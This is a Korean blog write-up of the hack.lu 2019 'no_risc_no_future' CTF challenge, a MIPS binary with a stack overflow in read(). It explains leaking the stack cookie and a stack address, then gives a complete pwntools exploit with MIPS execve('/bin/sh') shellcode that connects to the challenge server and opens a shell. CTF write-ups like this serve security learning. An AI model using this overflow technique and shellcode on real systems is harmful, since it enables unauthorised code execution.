hack.lu 2019 no_risc_no_future
요 문제는 출제자가 친절하게도 docker
와 qemu-mipsel-static
을 제공해준다..
게다가 README.md
에 어떻게 실행시키고, 디버깅하는지 설명까지 되어있다.
본격적으로 프로그램을 분석해보자.
input
을 그대로 출력해주는 심플한 프로그램이다.
xLAB_00400614
XREF[1]: 00400668(j)
00400614 1c 00 c2 27 addiu v0,s8,0x1c
00400618 00 01 06 24 li a2,0x100
0040061c 25 28 40 00 or a1,v0,zero
00400620 25 20 00 00 or a0,zero,zero
00400624 94 80 82 8f lw v0,-0x7f6c(gp)=>->read
00400628 25 c8 40 00 or t9,v0,zero
0040062c 24 73 11 04 bal read
취약점이 일어나는 read
함수이다. read(0, s8+0x1c, 0x100)
을 실행시키며, 맨 처음에 addiu sp, sp, -68
을 했으므로 간단한 스택 버퍼 오버플로우가 일어난다.
이 바이너리는 cookie
가 존재하므로 cookie
를 leak
하고, shellcode
의 주소를 ra
를 통해 가르켜야 하기 때문에 fp(stack)
도 leak
을 해주고, shellcode
로 뛰게 쓱싹 하면 된다.
from pwn import *
#context.log_level= 'debug'
e = ELF('no_risc_no_future')
#s = process(['qemu-mipsel-static', '-g', '8888', e.path])
#s = process(['qemu-mipsel-static', e.path])
s = remote('noriscnofuture.forfuture.fluxfingers.net',1338)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
pay = "A"*0x41
s.send(pay)
ru(pay)
cookie = u32('A'+s.recv(3)) - 0x41
log.info('cookie: {}'.format(hex(cookie)))
pay = "A"*0x68
s.send(pay)
ru(pay)
stack = u32(s.recv(4))
log.info("stack: {}".format(hex(stack)))
ret = stack - 0x48
sc = "\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xe0\xff\xbd\x27\xd7\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh\x00"
pay = "A"*(0x40-len(sc))
pay += sc
pay += p32(cookie)
pay += "A"*4
pay += p32(ret)
for _ in xrange(8):
s.send(pay)
s.recv()
io()
'system > writeup' 카테고리의 다른 글
2019 hitcon trick_or_treat (0) | 2019.11.04 |
---|---|
2019 codegate maris_shop (0) | 2019.11.03 |
2019 hack.lu tcalc (0) | 2019.11.01 |
2018 hctf babyprintf_ver2 (0) | 2019.10.29 |
2019 seccon monoid_operator (0) | 2019.10.27 |